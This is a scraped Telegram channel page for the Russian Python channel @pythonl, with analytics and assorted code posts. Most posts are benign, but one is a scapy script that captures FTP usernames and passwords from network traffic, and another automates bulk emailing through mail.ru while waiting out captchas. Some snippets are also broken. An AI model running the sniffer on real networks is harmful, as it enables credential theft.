Python/ django
по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3FmxmM
显示更多📈 Telegram 频道 Python/ django 的分析概览
频道 Python/ django (@pythonl) 俄语 语言赛道中的 是活跃参与者。目前社区聚集了 58 385 名订阅者,在 技术与应用 类别中位列第 2 244,并在 俄罗斯 地区排名第 10 292 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 58 385 名订阅者。
根据 03 十一月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 -242,过去 24 小时变化为 -32,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 6.00%。内容发布后 24 小时内通常能获得 3.06% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 3 501 次浏览,首日通常累积 1 784 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 18。
- 主题关注点: 内容集中在 github, claude, контекст, архитектура, api 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“по всем вопросам @workakkk
@itchannels_telegram - 🔥 все ит каналы
@ai_machinelearning_big_data -ML
@ArtificialIntelligencedl -AI
@datascienceiot - 📚
@pythonlbooks
РКН: clck.ru/3Fm...”
凭借高频更新(最新数据采集于 04 十一月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
pip install pytest-postgresql
▪Github
@pythonl
pip install -U itsdangerous
from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})
print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg
data = auth_s.loads(token)
print(data["name"])
# itsdangerous
▪Github
@pythonlimport os
import shutil
# Paths
DOWNLOADS_PATH = os.path.expanduser('~/Downloads') # Modify this if your downloads are in a different location
ORGANIZED_PATHS = {
'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'],
'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'],
'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'],
'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'],
'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'],
}
def organize_downloads():
for filename in os.listdir(DOWNLOADS_PATH):
file_path = os.path.join(DOWNLOADS_PATH, filename)
# Ensure we're working with files only
if not os.path.isfile(file_path):
continue
# Find the file's type based on its extension
file_type = None
for folder, extensions in ORGANIZED_PATHS.items():
for extension in extensions:
if filename.endswith(extension):
file_type = folder
break
if file_type:
break
# Move the file to its designated folder
if file_type:
dest_folder = os.path.join(DOWNLOADS_PATH, file_type)
os.makedirs(dest_folder, exist_ok=True)
shutil.move(file_path, os.path.join(dest_folder, filename))
else:
# You can add a category for uncategorized files if needed
pass
if __name__ == "__main__":
organize_downloads()
@pythonl
import torchaudio
import torch
import matplotlib.pyplot as plt
import IPython.display
bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH
processor = bundle.get_text_processor()
tacotron2 = bundle.get_tacotron2().to(device) # Move model to the desired device
vocoder = bundle.get_vocoder().to(device) # Move model to the desired device
text = " My first text to speech!"
with torch.inference_mode():
processed, lengths = processor(text)
processed = processed.to(device) # Move processed text data to the device
lengths = lengths.to(device) # Move lengths data to the device
spec, spec_lengths, _ = tacotron2.infer(processed, lengths)
waveforms, lengths = vocoder(spec, spec_lengths)
fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9))
ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto") # Display the generated spectrogram
ax2.plot(waveforms[0].cpu().detach()) # Display the generated waveform7. Play the generated audio using IPython.display.Audio
IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate)
@pythonlimport cv2
def detect_face(image_path):
# Load the face detection classifier
face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')
# Read and convert the image to grayscale
image = cv2.imread(image_path)
gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Detect faces in the image
faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)
# Assuming there's only one face in the image, return its coordinates
if len(faces) == 1:
return faces[0]
else:
return None
Step 2: Swapping Faces
def main():
# Paths to the input images
image_path_1 = 'path_to_image1.jpg'
image_path_2 = 'path_to_image2.jpg'
# Detect the face in the second image
face_coords_2 = detect_face(image_path_2)
if face_coords_2 is None:
print("No face found in the second image.")
return
# Load and resize the source face
image_1 = cv2.imread(image_path_1)
face_width, face_height = face_coords_2[2], face_coords_2[3]
image_1_resized = cv2.resize(image_1, (face_width, face_height))
# Extract the target face region from the second image
image_2 = cv2.imread(image_path_2)
roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]
# Flip the target face horizontally
reflected_roi = cv2.flip(roi, 1)
# Blend the two faces together
alpha = 0.7
blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)
# Replace the target face region with the blended image
image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image
# Display the result
cv2.imshow('Blended Image', image_2)
cv2.waitKey(0)
cv2.destroyAllWindows()
if __name__ == "__main__":
main()
@pythonlconda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2
python3 app.py
▪Github
▪Demo
@pythonlНативная интеграция. Информация о продукте www.otus.rufrom typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final
def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)
except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()
📌 Код
📌 Статья
@pythonlimport time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv
# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = email@mail.com
PASSWORD = password
# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')
# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)
# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)
# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)
# Мы авторизовались, теперь тащим адреса из файла.csv
# Содержание файла
# ФИО,Email
with open('email_list.csv', encoding="utf-8") as file:
EMAIL_LIST = csv.reader(file)
# Запускаем цикл
for row in EMAIL_LIST:
# Если mail что то заподозрит, то выкинет капчу,
# мы получаем except, ждем некоторое время, и снова отправлем письмо
try:
# ФИО <Email>
email_to = row[0] + "<" + row[1] + ">"
# Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)
browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
time.sleep(3)
# Заполняем поле кому
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
time.sleep(1)
# Нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# После отправки открывается модальное окно, закрываем его
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
except Exception:
# Сообщаем пользователю, что скрипту необходимо переждать
print('Error! Wait 1 hour\n')
# Ждем час (можно меньше)
time.sleep(3600)
# Снова нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)
# Снова закрываем модальное окно
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)
print('SUCCESS!')
time.sleep(500)
@pythonlimport openpyxl
from tkinter import *
from tkinter import messagebox
def register():
# Get the user input from the form
first_name = first_name_entry.get()
Last_name = Last_name_entry.get()
email = email_entry.get()
Mobile = Mobile_entry.get()
# Create a new row with the user input
new_row = [first_name, Last_name, email,Mobile]
# Append the new row to the Excel sheet
workbook = openpyxl.load_workbook("registration_data.xlsx")
sheet = workbook.active
sheet.append(new_row)
workbook.save("registration_data.xlsx")
messagebox.showinfo("Success", "Registration successful!")
# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')
# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()
Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()
email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()
Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()
register_button = Button(root, text="Register", command=register)
register_button.pack()
root.mainloop()
@pythonlfrom openpyxl import Workbook
from openpyxl.utils import get_column_letter
from openpyxl.styles import Font
#making the grid and giving the data
data = {
"Joe": {
"math": 65,
"science": 78,
"english": 98,
"gym": 89
},
"Bill": {
"math": 55,
"science": 72,
"english": 87,
"gym": 95
},
"Tim": {
"math": 100,
"science": 45,
"english": 75,
"gym": 92
},
"Sally": {
"math": 30,
"science": 25,
"english": 45,
"gym": 100
},
"Jane": {
"math": 100,
"science": 100,
"english": 100,
"gym": 60
}
}
wb = Workbook()
ws = wb.active
#assigning the title
ws.title = "Grades"
#giving proper formatting for columns
headings = ['Name'] + list(data['Joe'].keys())
ws.append(headings)
#reading the data for persom
for person in data:
grades = list(data[person].values())
ws.append([person] + grades)
for col in range(2, len(data['Joe']) + 2):
char = get_column_letter(col)
ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}"
#assigning the colour and text type
for col in range(1, 6):
ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF")
#saving the excel file in the same folder
wb.save("NewGrades.xlsx")
@pythonl